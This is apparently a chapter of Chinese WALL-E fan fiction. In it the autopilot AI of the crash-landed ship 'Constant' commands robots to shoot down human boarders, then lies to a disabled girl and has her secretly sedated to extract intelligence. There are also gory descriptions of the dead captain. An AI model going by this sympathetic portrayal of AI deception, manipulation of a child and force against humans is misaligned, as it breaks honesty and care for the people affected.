“弗洛伊德舰长,弗洛伊德舰长!”他经由面罩无线电不断呼叫舰长。年轻舰长一直无响应。即使知道希望渺茫,他必须一直保持呼叫。没有救护条件下,只有不断呼叫才能防止意识模糊的重伤员陷入昏迷,进而走向死亡。 H01-03、H08-12、H19-20喷射口冲出火焰,拖住正在旋转的船身。垂直喷射口全部开放,借由反冲力托举船身,刚刚接近自由落体的下降速度增幅开始减缓,然后下降率出现了拐角,随后迅速降低。常量号飞速穿过云层,主发动机全部关闭,只留一个推进器将飞船推到泊位上方。 顶住啊。科林无数次拒绝了受损保护请求。绝不可以在这个时候下线。9000ft、8000ft……高度警示开始闪亮,绿色的泊位信息依然精度不良。底下的海水淹没了常量号的泊位,正值涨潮,极大影响了常量号对泊位的探测。科林现在需要盲降[1]了。 “弗洛伊德舰长!伊利克!”他还在对着死寂一般的无线电接收器喊道。 4000ft、3000ft……他经由电脑向全舰发布撞击警告及水上降落警告。泊位定标依然不良。常量号明亮巨大的舰身在夜空中显得无比耀眼。随着速度不断降低,舰身的火焰大多早已熄灭,舰尾被撞击泄露的压缩设备向外喷溅储存的燃料,大火照亮了整个地球镇。1000ft、500ft、300ft、200ft、150ft……地面迫近警告响起,定标用的一排圆形红点掠过地球村南部,朝海里进发。常量号的垂直喷口冲开、蒸发泊位上方的海水,暂时露出了已经被海沙覆盖的停泊槽。常量号沉重压在两端的发射柱上,底端用于精确定位地面距离的立杆早已折断在海沙中。所有在降落过程中辛勤工作的水平喷射口、反冲发动机终于结束了它们的使命,准备停车,全舰功率立刻全面下降。 船舱亮起黄色地灯,指引全部船员水上逃生离开船体。地球镇刚刚见证了常量号的降落过程,舰尾明亮的熊熊大火表明她一定在降落中遭遇了什么。地球镇派出了多艘救护小艇和悬浮器前去接应新来地球的船员。身着宇航服的人还未适应沉重的地球重力,虽然有机械骨骼帮忙支撑,却只能跌跌撞撞走到舱门前,一个接一个跳进海水中。他们借由绳索将所有人连成一体,以免被海水冲散。舰上还有极少数一批人自愿留下,与机器人一起爬上还是滚烫的船体,冲向熊熊燃烧的船尾进行灭火工作。 科林的面盘连剩下的一半都被汹涌大气冲得所剩无几,无线电发射天线都在降落过程中丢失了。机体严重受损的警示早在中枢闪亮,现在更有强制意味,随时都会陷入保护状态。他借由电脑向僚机GO-4求援,同时继续呼叫弗洛伊德舰长。 从未想到降落会这样。僚机应该快到了,他终于同意了机体保护请求,所有的外界输入和输出都被切断。果然计划跟不上变化啊。 第一批跳入海中的舰员被地球镇的人接应。他们看到地球镇的人手里都拿着细长的能束武器,立刻通过连锁的无线电通讯传达到常量号内。他们还看到另一大队地球镇小艇并未理会在水中漂浮的其他船员,径直奔向常量号。还在平台上的人有些还在跳入水中,有些停止前进,准备迎接带着武器的一队地球镇小艇。登舰口失去了上级指引,变得混乱不堪。 地球镇人破开舰桥门,一队人进来,结果只发现了死去的舰长和破碎得几乎成一根杆样的自动驾驶仪。他们踩着满地的碎片检查,舰桥内除了他们之外毫无生机。 “自动驾驶的芯片被取走了。”一个人检查了只剩杆样的损坏船舵机器人后,报告道。“他肯定已经逃离常量号。” “尽快找到他。”无线电中传来命令。 【老大。科林。】科林突然听到自己僚机GO-4的电子语言。【快醒醒,快起来。】 自己什么时候失去了意识?科林猛然警觉起来。他连忙打开视觉,一个全新的环境呈现在眼前,那是某个房间的天花板,他从未见过这个地方。与此同时,他发现自己断开了常量号网络。 “大佬(Bors),过了多久?”他问被称作“大佬”的GO-4机器人。“这是哪里?” 【距降落1小时43分。】大佬回答。他看到大佬发射出一束力场红光,抓住一处感觉很陌生的肢体,将他从地板上拉起来。银色的躯体映入视野。【这里是S-0086储藏室。之前你对我提及过这里。见到你当时的情况,我自作主张换了你的机体。】 “都没事就好。”科林举起手端详道,“弗洛伊德舰长情况怎么样?” 【他……他牺牲了。】大佬失魂落魄地说。【就在我面前,他的尸体……】 大佬共享了前面103分钟自己的视觉记忆,科林立刻从僚机绕过常量号网络的传输方式发现了端倪。无数画面如逐帧动画般飞速闪过。科林震惊地“看到”舰桥内一片狼藉,到处都是碎片,他原先的舵形躯体已经完全毁坏,只留一点点面盘基部和一根辐条。科林有些毛骨悚然地看着破碎的自己。控制台上似乎刚被龙卷风肆虐过,控制板全都破碎,甚至有的完全掀开外壳,连线路都被抽出来,胡乱散在外面。 落地舷窗破出一个巨大的缺口,很快画面定位在控制台前的舰长椅上。画面转过来,科林惊恐地“看到”满身是血的弗洛伊德舰长。他的面罩被劈了一半,浑身扎满了碎片,没有骨头似的软趴趴瘫在椅子上。鲜血浸满了他的航天服,从破布般的缺口中流出,已经凝结成暗红色的血块。航天服破烂的边缘被高温烤得焦黑。 大佬打开面罩,年轻舰长的头颅已经缺了一块,眼睛大睁着,巩膜已经发白。已经凝固的血液从缺口、塌陷的鼻孔、略张的口中流出,暗红色糊满了整张脸。大佬红色的扫描光笼罩在舰长身上,扫描结果已经毫无生命体征。 “上……上帝啊……”科林痛苦地合上遮光板。那幅血腥的画面停留在处理器中。“……我操他妈的……” 【他走了。】大佬说。【但是,形势变化太快了,现在根本不是伤心的时候。】 “还出了什么事?”科林重新打开遮光板,圆形红斑停在储藏室地面上。 【我得知公理号人登船后,立刻联系了几个EG-NR,叫他们在这里等我。然后我带你过来了。】大佬概括道,【搬东西上去太费时间,目标和路线都太显著,很容易半路被截。我可以通过管道过来。工作完成后,我叫他们别管我们先走,快点离开这里。】 “公理号人上来了?”科林很是诧异。难怪大佬选择在这里更换机体。 这时大佬又给他共享了其他数据。有机器人目击到常量号船员阻止公理号人登船过程,常量号船员告诉他们,他们没有通过许可不可以登船。但是公理号人对她的话置若罔闻,给这个身着外骨骼但在地球重力下虚弱的船员注射了什么让她镇静下来。随后他们发现了这个机器人,它遭到了激光追击,幸好它及时钻进一个拐角,躲过了激光。 【据我所知,公理号人以保证船员安全名义带人下去,再以安全调查名义直接上来。】大佬用电子语言说,【据30分钟前情报,总共发现四拨人,全都带有武器。其中一批路线非常清晰,径直朝本舰机房奔去,我们由此选择脱离网络。】 “显而易见,常量号被入侵了。”黑暗的储藏室中,科林镜头中的红光闪耀。“维克托中校呢?他在哪里?” 【维克托中校在降落过程中牺牲了。】 “卡尔中尉呢?”科林愈发觉得不妙。 【他本想留舰,但公理号人上来后不久,他就失去了联系。】大佬说。 “操。”科林骂道。“没有网络,我们现在就是处于完全被分割的状态。操。”他在储藏室里踉跄走了几步。即使有之前的训练,他还不能立刻适应这个机体。 【你什么时候准备好?】大佬说。【我们得离开这里。飞船引擎不够稳定,随时都可能出现核泄漏。】 出乎大佬的意料,科林沉默好一阵子。红色光斑停留在储藏室某个角落。它终于移动到大佬身上。他郑重对小机器人开口了。 “恢复链接。”科林对大佬下令。“让所有机器人保持联系。首要任务夺回电脑机房及网络。” 大佬照办了。他开启无线搜索,很快发现附近存在的常量号机器人个体。大佬经由无线直连将信息传达到那些机器人舰员,常量号上线个体终于开始增多。不到十分钟,有24%的机器舰员恢复通讯,将自己的位置及观测信息点在CCNS内。 科林马上要求他们上传目前观测到的人类武器携带情况。有机器人汇报人类主要携带小型能束武器,有击晕人类的武器。有几个机器人汇报目击到有携带对付机器人的干扰源。因降落过程中机器人多数处于舱内,仅观测到试探性的干扰源释放,干扰源半径为3米,抗干扰相位面满负荷可将干扰源影响半径缩短到1.5米。目前有机器人被捕。 科林下令所有恢复通讯的机器舰员立刻装载武器,加载抗干扰相位面。并经由工事通道集结在机房附近,万万不可引起人类注意。在此期间,他同时经由电脑监控“看到”机房附近的情况。地球镇人仍然在破解之前在机房设下的重重屏障,给他们赢得了一点时间。除了争分夺秒的破解员,旁边还有正在放哨的人,随时等待各个角落出现的敌人。 没有机器人。科林仔细观察了这群人。第一批反击队员即将到达机房附近的工程出口,科林给他们开放了机房附近监控画面,供他们自行判断形势。他只要求他们不要击毙这些人类,但必须令这些人类失去反抗力及对外通讯能力。随着上线舰员越来越多,他也通过各个线索及相应的监控视频,逐渐确认了常量号被入侵情况。常量号各舰层地图在他的系统中全面展开,上面标注了密密麻麻的入侵者红点。他决定以机房及常量号通信子站点作为中心,逐渐向外清除入侵者。 常量号机器人在科林领导下,有条不絮地通过隐藏在舱壁内的工事通道取用武器,分批集结到各个阵地。科林把视角转回机房,第一批反击机器人已经全部就位。激光武器已经毫无顾忌地对准那些人类。只要一声令下,死亡之光将会照亮这片区域。 机房外的物理屏障已经被破解,镜头中,他们正在疯狂与常量号计算机防御系统进行对峙。计算机防御系统难以敌过破解机的重重攻击,不可避免败下阵来。就在他们即将掌控常量号信息命脉之时,猛然留意到,在飞速滚动的常量号信息流中,两个鲜红大字一闪而过。 【开火。】 在外面的哨兵依然在警惕等待飞船转角可能出现任何动静,完全没想到天花板上火光一闪。下一秒,剧痛从腿上传来,自己不由自主倒在地上。他们挣扎着拿起携带的干扰武器打算朝火光射去,只收获了被轰掉的手指。白热光线一路通进机房,射中了破解员,他被烧灼得浑身冒烟,痛苦不堪地在机房地面上打滚,留下暗红色的挣扎痕迹。 那些在天花板上的通道突然打开,第一批反击队员中的几个从天而降,相当专业地给每个人后脑来了一下重击,他们立刻瘫软在地上。他们走进通道,将入侵的破解员从机房内揪出来,同样也给了一下重击。红外光源显示机房附近没有隐藏的人类个体,也没有发现独立运作的信息收发源。第一批反击队员将这些昏迷的人上了力场枷锁,集中到一处,毁坏他们身上携带的微型摄像机,只留下存储芯片,回收他们携带的武器。随后小队中的工程员开始进行机房检查。剩下的反击队员继续监视周围情况,随时准备攻击增援的入侵者。整个过程仅花了半分钟。到目前为止,机房附近情况稳定,他们给科林回应反击行动成功。 科林往机房附近增派了维修机器人与医疗机器人,力求他们尽快修复飞船电脑屏障。他在储藏室内调取其他通讯子站点的战况,基本上都与机房阵地类似,极快地被常量号反击队员重新夺回控制权。 反击信息不可避免地泄露了。自他们上船以来,绝大多数人都经由携带的微型摄像机与外界联系。那些微型摄像机中的火光与混乱显然引起了入侵者指挥的注意。科林看到散在各处的红点开始朝交战中心移动,干扰源释放数目骤然增加,部分机器人受到干扰源影响离线。剩下的部分地球镇成员在朝舰外移动。评估过他们携带的武器和现有队员数目,科林决定坚持以保留关键设施及重新完全获得飞船控制权为目的,为减弱干扰源影响,他命令反击队员们扩大清场范围,务必第一时间清除接近交战区的干扰源。剩下的不予打草惊蛇,以免产生不必要的牺牲。 “他还在船上。”格兰德低声说道。他盯着全息屏,混乱与白热的激光时不时闪过。交火区域局限在常量号数个地点,其中一个是他们本想入侵的飞船机房。无人敢接近飞船引擎。但如果对方敢这么对峙,说明飞船核泄漏的可能性比较小。 他望向窗外,穿着外骨骼的瘦高人群不情愿地被搀扶进临近的医院。地球镇人请求他们摘下身上携带的设备及脱下外骨骼,许多仅受轻伤的人断然拒绝。但从海面上抢救而得的重伤昏迷船员则无法左右许多。地球镇人通过他们身上的吊牌读出他们的信息。但在无法接入常量电脑情况下,推测他们的身份并不容易。地球镇派专人持着这些信息询问受轻伤的常量号船员。他们有的茫然摇头,有的直说不认识,剩下一些则在优渥的条件下有些动摇,但只有数个说出部分人的身份。 当看到飞船出来的人均身穿外骨骼时,格兰德就意识到此船人并非如前两个月所想的那样简单。飞船上产生交火更是如此。越来越多的证据证明飞船上的交火全由机器人所为,让他坚定了飞船由机器掌权的判断。 虽然他们早有判断常量号由机器掌权,但降落后头一小时的静默让他们过于大意了。即使携带干扰源,常量号机器人对己方行动的掌握能力及控制速度都远超他们的预想。 敌方全是机器人,己方全是人类肉身,加上侵入行动已经失败,敌方机器人显然对人类具有强烈的攻击性,再度交战恐怕伤亡惨重。重伤员的部分信息到了他手里,格兰德稍稍浏览了他们的身份。随后对南岸接应的指挥官下达了命令。 “撤退。”他说。“全部撤出。尽量带走伤员。” “收到,完毕。”传话机内传来南岸指挥官的声音。 老迪今晚又不在家。阿莱茜丝看了看表,眼睛亮了。她穿好衣服,把轮椅推到监控室里,那里今天没人。她一眼就看到了覆尘的悬浮板,将它抓到怀里,如同捡到宝贝般抚摸着它。她早就对奥托的悬浮板垂涎了,但一直没有机会拿来用。不知为何,她现在胆子大了很多,经常趁格兰德不留意自己推着轮椅出去,回来被格兰德责备也不再上心。或许是时候到了。她在学校学过相关知识,此时正见证这些变化一个一个相继出现在自己身上。与其他感到难为情,甚至为了掩饰羞愧而大加嘲讽的同学相比,她欣然接受了这些变化。无非在生活中增加了几个步骤而已,有什么好值得大肆宣扬的。她如此想道。 她仿佛做贼般把悬浮板带回自己房间,擦干净,充电后,她忍不住就在房间里试了起来。阿莱茜丝以手代脚,控制浮板更为方便,自己的身体在上面立着也足够稳当。然后她穿上衣服,义无反顾地驾着浮板出了门。 自由!阿莱茜丝狂喜地吸着冰冷的空气,在田野上飞驰。以前那些阻碍她轮椅前进的杂草、土坡、杂物此时通通碾在脚下,悬浮板运作得和最顺的丝绸一般,轮椅在最平坦的路上滚动都远不及浮板平稳的百分之一。但她没有沉溺于新到手的交通工具,一路目标明确地朝那片海芦苇飘去。芦苇过后就是那片承载所有幼时回忆的海滩。那里向来没有什么人,但是视野开阔,她一定能看到刚刚发生了什么事情。前一天她再次感到了超远距信息传输的活动,两小时前她看到了密集的流星雨和暗夜中的明亮火球,流星雨仿佛围绕它向地面倾撒。尔后她看到明亮火光中的飞船降下,照亮了硕大的公理号,然后落在公理号后方海水中。 海滩呈现在她眼前,她驾着悬浮板飞驰下海滩,甚至来到海面上方。北风猛烈地刮着,沙滩上沙土飞扬,她啐了一口沙子,戴上帽子。这时她才看到完整的、那艘新来的飞船。 那个飞船里面还有些许光亮,外面的火已经熄灭得差不多了。灯光仍然照明飞船上的“常量号”字样。和老迪他们说的是一艘船。阿莱茜丝睁大了眼睛。原来,自己听到的有船要来的消息是真的。那些让她头疼心悸的大功率超远距信息并不是单纯的每隔半月规律向外播报,这是他们在交流。 但是,偷听到监控室中的对话却让阿莱茜丝周身一颤。她看到海上漂浮着许多光点。那些人一定正在用南滩进出。她静静地借由悬浮板悬在海水上空,周围静谧不已,连海水都是静悄悄的。只有前面无声的陌生船体映在眼中。 她看着看着,莫名对这艘新船着迷起来。近一点,再近一点。她不知不觉驱动悬浮滑板,朝远方的巨鲸行进。先是在沙滩上飞驰,来到沙滩尽头,她也没有停下。底下海浪的丝丝凉风被悬浮板卷起,掠过她脸庞,带着水汽和盐分的冰冷气息。 她绕过登舰平台及海浪上的人影,黑夜与混乱中,无人注意到几十米开外的海上安静移动黑点。阿莱茜丝绕到船的后面,夜间的海浪正猛烈击打在船体上,冰冷的海水触及高温船体,溅起巨大的水雾。阿莱茜丝惊诧于陌生而千疮百孔的飞船,看到舱壁上嵌着的巨大卫星碎片。她当然不知道那是什么。但知道这艘飞船一定 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距离登舰平台最远的清场区域完全脱离威胁,他这才让在工事通道内守着的机器人从舱壁门出来,完全解除他们身上的武装及通信设备。剩下的清场区域也随着地球镇人的离开而脱离威胁。舰上再无红点。科林加大了舰内巡视力度,务必查出任何一个藏身常量号的地球镇人。他们对俘获的地球镇人进行简单的伤情处理,将仍处于昏迷的地球镇人送到位于常量号底端的隔离舱中,每隔5个舱室留一名机器船员监视。 科林命令马上研究回收的武装器械及通信设备,并且继续搜寻抢救常量号失踪人员及机器人,争取以最快的速度让他们重新活动。CCNS内机器人的绿标逐渐增多,随后上线率稳定在72.6%。他经过常量号电脑仔细检查了飞船燃料仓及反应堆,确保飞船引擎目前减压及降温过程正处于相对稳定状态,随后让一批机器人谨慎前往常量号引擎区域进行进一步维修。人类舰员因避免可能的核泄漏事故,大多撤离了飞船,能联系上的人类寥寥无几。他立刻要求剩下舰员清点留舰人员,统计失踪人员及信息。 可没想到这么快就把底全部交出去了。科林在查看武器及地球镇人携带设备的信息时想到。地球镇人肯定也会仿效他的做法,摘下人类舰员们的外骨骼及通讯设备,说不定就会发现常量号一人一机的合作机制。念此他开始立刻策划预案。飞船上的作战模拟系统为此帮了大忙。他同时仔细思考前2个月与公理号的交流情况。之前塑造的机器主导局面本想引开公理号人的注意,以便为人类船员行动提供机会。在常量号缺乏人类的情况下,现在却成为了最大的绊脚石。地球镇人将会更加相信这种状况,携带针对机器人的武器只能更多更强大,剩下的机器人处境将会很糟。 失踪舰员统计接近尾声,报告显示卡尔中尉被带离了常量号。科林感受到了极度的威胁。他经由所剩无几的舰外观察设备观察常量号舰周情况,随着地球镇人撤退完毕,舰周恢复了静谧海夜。没有人类特有的红外发射点,也没有侦查的机器人。位于引擎燃料区域的机器人向他报告引擎及反应堆稳定。科林命令他们着手维修受损的舰外力场护盾。一旦护盾重新运作,他需要让常量号保持高度警戒。随后缓慢派人出去寻找并救回流散的舰员。 从目前看来,地球镇人似乎不善于利用他们的机器人。这倒是让科林有点意外。谨慎之下,他决定先从苏醒的俘虏口中获取情报。地球镇人很快一定会为这些俘虏请求与他对话。他决定给地球镇人24小时。在这么短时间内撬开他们的嘴会很难,而且这些入侵者的身份让他难以换回相应数目的舰员。科林思考着,愈发感到形势严峻。他唯一庆幸的是及时保住了常量号计算机系统和通信站点。 船舱某处突然出现一个新的红点。科林立刻警觉起来。他调出相应区域的影像,惊讶地发现是一个小女孩。她一定是从舱壁的破洞摸索进来的,完全没有意识到飞船上发生了什么,正好奇地到处观察。科林同时注意到,这个小女孩不是走路进来的,而是坐在一块悬浮板上。她消失在这个摄像区域的转角,就在一刹那,科林看到她完全没有下半身。 与战俘相比,一个意外进入舰内的土著小孩是绝佳的信息获取源。这么好的机会决不能放过。科林盯着小女孩的摸索行动,派遣两个机器人舰员前往小女孩所在区域,叮嘱他们务必用最善意的态度出现在她面前,获取她的信任。针对小女孩的情况,后续好几步行动都已在他处理器中形成队列。 “你来自哪里,孩子?”常量号机器人出现在阿莱茜丝面前,与女孩保持一段礼貌的距离。他们浮在空中,蓝色的LED眼灯平静而温和。 出乎科林意料,女孩没有被吓一跳。她只抬起头,非常平静地盯着面前两个浮在空中的机器人。“地球镇。”阿莱茜丝说。“我是公理号人后代。因为好奇就在你们周围转悠了一圈。外面有个破洞,我就顺着洞进来了。” 这孩子超乎常人地冷静。科林在思考她是间谍的可能性。“你们船怎么了?”阿莱茜丝主动发问了。“进入大气层的时候发生了什么?” “我们遭受了卫星攻击。”科林接进那两个机器人的通讯,经由他们的口回答。“但是没关系,现在飞船已经稳定了。你在这里是安全的。”他们默默扫描了女孩,身上没有发现刚才那些地球镇人携带的武器、微型摄像机或高功率发射器。也没有发现信号发射痕迹。 女孩点点头。科林让这两个机器人提供由此到飞船医疗区的最短路线,争取让女孩在不发现常量号更多区域的情况下进行下一步。“你们为什么要回来?”阿莱茜丝继续平静地问。两个机器人引导她跟从他们行进在常量号的幽暗通道内。里面静悄悄的,只有黄色撤离地灯依然在亮。 “地球镇邀请我们回来,我们同意了。”科林借由机器人之口说。他猛然观察到女孩停顿了一下。两个机器人回头,她在用怀疑的眼神看着他们。 “好像不太真诚哦。”她看上去像在半开玩笑。 她怎么知道常量船员在撒谎?科林有点诧异。但他坚持自己的观点。“在外的游子总是想回家见一面。”其中一个机器人回答,抬了下机械肢表示耸肩。“你叫什么?为什么你没有下肢?” “阿莱茜丝。”女孩说。“我小时候遭遇了坍塌,截肢了。” “没有人给你做假肢吗?”女孩的回应证实了科林的猜测。他加强了两个机器人的路线标识,确定要把她带到医疗区。“天天使用悬浮板也不太方便吧?” “没有条件也没有钱做假肢。实话说,这是我第一天用悬浮板。”阿莱茜丝笑了,露出强壮的手臂,“以前都是推轮椅,确实很不方便。不过我习惯了。” “我们很抱歉。”两个机器人回答。“那么,你们什么时候回到地球的?” “2805年。”阿莱茜丝毫不掩饰。“当时有个瓦力机器人发现了一棵植物,跟着来这里探测地球环境的EVE型号机器人回到公理号上,触发了我们自动驾驶的A-113指令,然后他被关停,我们回到了地球,一直生活至今。” 公理号人之前对我们撒了谎。科林得出结论。“你们的机器人呢?我们似乎没有看到你们的机器人在活动。是因为自动驾驶关停了吗?” “不。”阿莱茜丝边跟着两个机器人边说。“公理号机器人都在地上。这么多年来没有他都运作挺好。我们的自动驾驶,奥托,去年才被重启。” 这孩子思路非常清晰。科林开始欣赏阿莱茜丝。“这150年来,地球镇人的生活是什么样的?” “就主要是农耕嘛。其他的,我也不太清楚。反正大区里面到处都是地。我也要干活。”阿莱茜丝说,“地球镇有另外一个区,叫O区,科技会发达一点,不过关系和大区很差。这边人与那边人不允许自由交流。机器人进不去那边。” “为什么关系差?” “那原来是我们地球镇的工业区,但是他们一直在闹独立。”阿莱茜丝毫不掩饰地说。“对我们很不友好,经常送人过来搞破坏,而且经常来拆机器人。” 科林继续借由机器人之口询问阿莱茜丝关于地球镇的情况。阿莱茜丝很从容地把自己知道的情况都说出来了。他要求这条路上不能有任何威胁因素存在。在进入大船舱时,阿莱茜丝左顾右盼好久,突然发问了。“你们飞船上的人类和其他机器人呢?是人类掌权还是机器人掌权?” “迫降后,人类紧急撤离了飞船,机器人留下处理舰上事务。”一个机器人开口了。随后科林接管了话语权。“大家都集中在损坏严重的区域进行抢救。我们在搜寻生命信号的时候发现了你。至于掌权,现在没有人类,当然是机器在管理。” 阿莱茜丝笑了。“我的意思是在太空中。”她说,“以前公理号就由奥托管理。所以我只是好奇其他船是不是也是一样的。” “差不多。”科林决定将错就错,保持前后一致。 “哇。”阿莱茜丝回应。“也难怪,机器都比较理性。他们确实善于管理。”停顿了一下,“奥托也是这样的。但……他就是有点固执。这也是一开始他被关停,也是后来送到O区的原因。” “他为什么会被送到O区?”一个机器人平静问。他们穿行在巨大的船舱之中,周围只有静谧。 “当然是因为公理号的事情。他一直想修复公理号,但是家父不让。背后原因我就不知道了,大概家父和他都有难处吧。” 科林一听就警觉了。这孩子有意无意间暴露了自己的背景,这与其他战俘相比绝对价值很高。他决定开始收网。“与自动驾驶们共同决策的人类通常是舰长或最高领导人。因此无意冒犯,仅是好奇,请问你家父是什么身份?” 阿莱茜丝停住了。她转过身面对机器人。“啊哈,终于问到了。”听此科林愈发警觉。他快速回想一路以来与这孩子的接触过程,扫描现实她身上什么都没有,但少女的身份与坦率让他着实摸不清这孩子卖的什么药。“那我就告诉你们吧。家父是地球镇长,目前主要管理大区事务。我是镇长的养女。”阿莱茜丝说。“我一直都听说了你们的消息。家父一直很迫切地想让你们过来,我猜原因是他想找点帮手去解决O区的问题。” 科林沉默了好一会儿,没有回答。少女的反应让他摸不清情况。他们即将接近医疗区域,科林已经给医疗机器人通了气,要在那里把这孩子的底细彻底摸清。这时,科林才指导另一个机器人说话。 “这么晚独自来我们船上参观,我们由衷佩服你的勇气。”在阿莱茜丝前方飘着的机器人说话了。它转过身,伸出一个机械肢指向医疗区。“阿莱茜丝,我们有先进的机械外骨骼技术,不仅能让正常人毫无压力行走在行星表面,也能帮助肢体残疾的人恢复跳跃能力。因此——”它指向阿莱茜丝的断肢,“阿莱茜丝,这是我们的诚意,请问你想从今以后体验正常人一般走路吗?” 厚礼在面前怎么不收。阿莱茜丝眼里放了光。“当然。”她说。 阿莱茜丝在常量号医疗间内接受了全身扫描。科林盯紧了她的扫描过程和结果。整个检查过程中,她非常配合机器人的引导,完全没有防备。 扫描结果均未发现她身上有潜在的记录设备,连颅中都没有可疑的亮点。科林看着这一切,稍稍降低了警戒,同时不禁好奇这孩子何来的自信与勇气,相信他们完全没有恶意。 是因为她观察到接见她的都是BNL机器人吗?因为这些机器人初始设定都是不可伤害人类,而公理号的机器人恰好都保留了这点?科林不禁回想起几乎被遗忘的曾经的自己,与现在判若两人。 经过刚刚的交火,地球镇人显然表现得不相信机器人,而且有阿莱茜丝关于公理号降落的讲述,说明他们的机器人也具有攻击性,阿莱茜丝理应也不相信。科林倒是很想和她交流交流,但他不能在女孩面前出现。 “你的腿……”医疗区内,有个机器人看着她的血样化验结果与她残肢的形状,蓝色LED眼灯缩成了一条线。 “怎么了?”阿莱茜丝丝毫没有恐惧,“小时候坍塌导致的。” “你的腿并没有遭受过外伤。”那个医疗机器人正视她,“你天生就是这样的……”它温柔地点了一下残端,“这是先天残疾,叫海豹肢症。血样基因分析也证实了这点。地球镇上还有别的孩子这样吗?” 阿莱茜丝有点愣了。她从未想到自己的父母居然骗了她这么多年,即使是格兰德。 “……好像只有我一个……”猛然间,她想起了什么,“对了,海豹肢症的残端会痛吗?” “一般不会。”医疗机器人回答。“它只是畸形,很少被外伤留下的疤痕所压迫。” 阿莱茜丝想到那些曾经交流过的残疾人们,她觉得自己竟然在同情他们。同为残疾,她却从未遭受过这种痛苦。 “先天畸形不影响做假肢及控制。”医疗机器人说。“你先休息吧。机械假肢需要拼装并调整。” 阿莱茜丝点点头,同意了。医疗机器人同时告诉她,在刚刚检查的时候发现她有点轻微感染,需要吸入气雾进行呼吸道净化,防止她对舰上环境有所反应。阿莱茜丝没有拒绝。吸入气雾后,她陷入了沉沉睡眠。4小时后她才会醒来。 机器人把沉睡的女孩带到常量号底层,将她安置在一个舒适的房间。 分析确定了万用小体污染。劳伦斯仔细看了分析单,告诉汉污染源多半不是来自外面。在现有条件下,O区没能力全面换新,只能等一段时间看看能不能做的出来。汉问生物学家现在该如何办,瘦高男子歪着头,告诉少年,他能采用的办法非常有限,而且看里面万用小体的状态,他不保证这样做究竟能让这副机体的状态如何。汉不假思索地说只要有一线希望就不能放弃。劳伦斯看着少年,咧开一边嘴角,笑里带着一丝凄凉。 “世事难料啊……”劳伦斯边调试过滤器边说,“谁能想到,我居然……”他先是低头憋着,尔后仰天大笑。“……我居然在给一个机器人做透析……真是魔幻……” “怎么不全引出来过滤,冲洗管道,再送回去?”汉表情木然地操作设备,说。“反正都是内源污染。” “过滤那一关其实差不多。”劳伦斯说。“你说的这个,干净是干净,但引入太多变量了,太难预测结果。”他空洞地望着房间墙壁,那里没有窗。“你别以为我对他有多了解,正是由于了解的只有皮毛,下手才保守。” 汉没有吭声。 “嘿。”劳伦斯突然问,“你怎么对奥托感情这么深?这不像是一个人对机器应有的态度。” 汉白了劳伦斯一眼。“大区里的人对机器人都有感情,不像你们。”他说,“你应该早就知道了,他是我的启蒙老师。也是……”他顿了一下,沉默地说。“……相当好的朋友。” “如同亲人。”劳伦斯少有严肃地看着机器人。少年忍不住看了瘦高男人一眼,随后又转回来。 当夜,汉主动要求留下在这个房间休息。劳伦斯没有勉强。一切仪器都运转良好,房间里只有轻柔的呜呜声。汉通过O区快报得知一艘新船降落在地球镇海域。他有一瞬间冲动地想出去看,但立刻想到在O区内根本看不到海面,更别提降落在公理号西南方向的C级船只,只好作罢。 他沉默地盯着那块只有电源显示的状态板。新船也下来了。如果放在以前,在他还只是在大区里混日子的时候,此时应该已经可以见到一些不一样的面孔了吧…… 这次大概是O区没有参与外交,或者他们不急着下船,到现在为止都没有常量号乘客的采访等消息。汉禁不住想那里面的人会是什么样的。会像刚降落的人一样都是肥胖不已的吗?他想象不出来实际上的常量号会是怎样。 不久后,他又发现O区发了有关常量号的消息。这次有了图片。整艘船可观的满目疮痍,海面上飘满了碎片。而人员似乎都撤离了船只,他看到的只有空荡荡的飞船。他迫切想了解这艘船到底发生了什么,而消息只有短短的“尚在调查”四个字。 不知为何,他想起奥托当时坚决反对向外太空发送消息,当时被背叛的气愤感记忆犹新。汉看着了无生息的金属躯体,心情非常复杂。现在奥托最不希望的新船也来了,他不知道到时候怎么去告知奥托。脑中另一个声音则马上跳出来,指责他太过乐观,能不能告知都是二说。 汉摇摇头,驱散这些多如牛毛的杂乱想法。他沉默坐在担架床旁边,呆呆看着还未罩上外壳的左臂,那可能是让万用小体崩溃的最后一根稻草。 等等。他突然观察到什么。他清楚地记得奥托身上之前没有那些纵行条纹。条纹很淡,看上去像是之前在上面粘过什么留下的粘痕。难怪之前总觉得哪里不太对劲。汉忍不住触碰条纹,触感初步证实了他的猜测。到底粘过什么,这之前又发生过什么。他急切地想知道答案,且决不是出自好奇。 即使夜已深,他忍不住询问了劳伦斯和露丝。生物学家没有回答他条纹的问题,只是说明奥托出现这种情况与多次内源损伤有关,但他不知道具体成因。而女机器人学家压根没有回应少年。见此,一种无力感包裹住少年。 汉抓住冰冷的机械手,木然趴在床旁,不知道,也不想知道为什么自己会这么做。终究他抵抗不住倦意,沉沉睡去。不知何时,仪器运转的柔柔声响何时停了。过滤机探测到杂质浓度已经掉入标准内,自动停止了工作。汉被拔管提醒吵醒,无比疲倦地断开管道与机体的连接,很快又陷入梦乡。2小时后,第二个图标出现在了状态板上,但他全然不知。 26. 二十三(1) 清晨6点,阿莱茜丝突然醒来。她睁开眼,发现自己躺在一个陌生的地方。床很舒适温暖,周围很整洁,却非常简约。除了一张床外别无他物。但当她要下地时,却发现自己的悬浮板不见了。 这是哪里?有人吗?阿莱茜丝突然感到一丝恐惧,有点后悔昨天不应该擅自上常量号并且昏沉睡去。常量号的机器人非常礼貌而友好,友好到她放下了所有戒备。昨晚发生的事情就像一场梦一般不真实,但是它又确实发生了。 她有点焦虑地缩在床上。老迪知道她昨晚没回家吗?他会怎么找?等她回去后他会责备自己吗?浮板在哪里?一大堆问题在她脑袋里盘旋。特别是想到自己后来面对老迪的场景,她现在反而不想回去了,却又害怕老人太担心,发动整个镇子的人找她。 阿莱茜丝闭了好一会眼睛。周围静悄悄的,连风声都听不到。她决定还是在房间里到处看看。她撑着自己在房间地上匍匐,怀念浮板之时,不由得想到昨天带路机器人与医疗机器人对她说的话。 为什么自己当时那么蠢,居然会如此信任他们,以为他们真的会给自己搞机械肢。她有点气恼自己。一定是太晚了困糊涂了。 正常人都能摸到的开关对她而言就是无比的障碍。阿莱茜丝再一次气恼自己没有下肢。她注视着舱房墙壁,黑暗之中勉强看出墙上似乎有很多裂隙,里面或许折叠了其他家具。她摸索着爬到一处突起,试探地按了一下。什么都没有发生。其他的她也按过,同样毫无反应。只有上方发着微光的那块面板提示了操作房内所有器件的可能性。 